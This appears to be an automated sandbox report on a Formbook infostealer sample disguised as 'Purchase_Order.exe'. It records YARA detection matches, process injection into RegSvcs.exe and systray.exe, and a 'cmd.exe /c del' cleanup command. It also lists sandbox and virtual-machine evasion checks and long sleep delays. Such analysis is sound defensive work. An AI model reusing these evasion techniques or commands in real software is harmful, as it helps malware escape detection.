Source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@13/10

Source: C:\Users\user\Desktop\Purchase_Order.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase_Order.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_01
Source: C:\Users\user\Desktop\Purchase_Order.exe	Mutant created: \Sessions\1\BaseNamedObjects\rjmTOaAYwV
Source: C:\Users\user\Desktop\Purchase_Order.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: Purchase_Order.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Purchase_Order.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: Purchase_Order.exe	Virustotal: Detection: 20%
Source: Purchase_Order.exe	ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\Purchase_Order.exe

File read: C:\Users\user\Desktop\Purchase_Order.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Purchase_Order.exe 'C:\Users\user\Desktop\Purchase_Order.exe'
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Purchase_Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Purchase_Order.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Purchase_Order.exe

Static file information: File size 1532416 > 1048576

Source: Purchase_Order.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x14da00

Source: Purchase_Order.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: Purchase_Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: systray.pdb source: RegSvcs.exe, 00000004.00000002.320790980.0000000001240000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000007.00000000.291292827.000000000E140000.00000002.00000001.sdmp
Source:	Binary string: systray.pdbGCTL source: RegSvcs.exe, 00000004.00000002.320790980.0000000001240000.00000040.00000001.sdmp
Source:	Binary string: RegSvcs.pdb, source: systray.exe, 00000010.00000002.507122760.0000000005477000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\LQmcYtPAJD\src\obj\Debug\AsAnyMarshaler.pdb source: Purchase_Order.exe
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000004.00000002.321048424.000000000136F000.00000040.00000001.sdmp, systray.exe, 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, systray.exe
Source:	Binary string: RegSvcs.pdb source: systray.exe, 00000010.00000002.507122760.0000000005477000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000007.00000000.291292827.000000000E140000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_004F73C3 push 0000006Fh; ret	0_2_004F73CE
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_004F67F4 push es; ret	0_2_004F67FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004160EF push ebp; retf	4_2_004160F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00415250 push 00000036h; ret	4_2_0041525C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004152DE push ebp; retf	4_2_004152F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B3B5 push eax; ret	4_2_0041B408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B46C push eax; ret	4_2_0041B472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B402 push eax; ret	4_2_0041B408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B40B push eax; ret	4_2_0041B472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00414E67 pushfd ; retf	4_2_00414E68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012CD0D1 push ecx; ret	4_2_012CD0E4
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FBD0D1 push ecx; ret	16_2_04FBD0E4
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D60EF push ebp; retf	16_2_010D60F2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010DB3B5 push eax; ret	16_2_010DB408
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D5250 push 00000036h; ret	16_2_010D525C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D52DE push ebp; retf	16_2_010D52F6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010DB40B push eax; ret	16_2_010DB472
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010DB402 push eax; ret	16_2_010DB408
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010DB46C push eax; ret	16_2_010DB472
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D4E67 pushfd ; retf	16_2_010D4E68

Source: initial sample

Static PE information: section name: .text entropy: 7.38800218232

Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase_Order.exe PID: 1528, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\systray.exe	RDTSC instruction interceptor: First address: 00000000010C85E4 second address: 00000000010C85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\systray.exe	RDTSC instruction interceptor: First address: 00000000010C897E second address: 00000000010C8984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_004088B0 rdtsc

4_2_004088B0

Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239844	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239656	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239531	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239422	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 239000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238891	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238750	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238641	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238516	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238406	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238297	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 238063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237719	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237563	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237219	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 237110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236844	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236203	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 236094	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 235110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234453	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 234047	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233781	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233641	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233516	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233375	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233266	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233141	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 233016	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232906	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232797	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232688	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232563	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232438	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232203	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 232078	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231953	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231828	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231719	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Thread delayed: delay time: 231469	Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe	Window / User API: threadDelayed 2691			Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Window / User API: threadDelayed 5275			Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -239000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -238063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -237110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -236094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe TID: 5500	Thread sleep time: -235485s >= -30000s	Jump to behavior
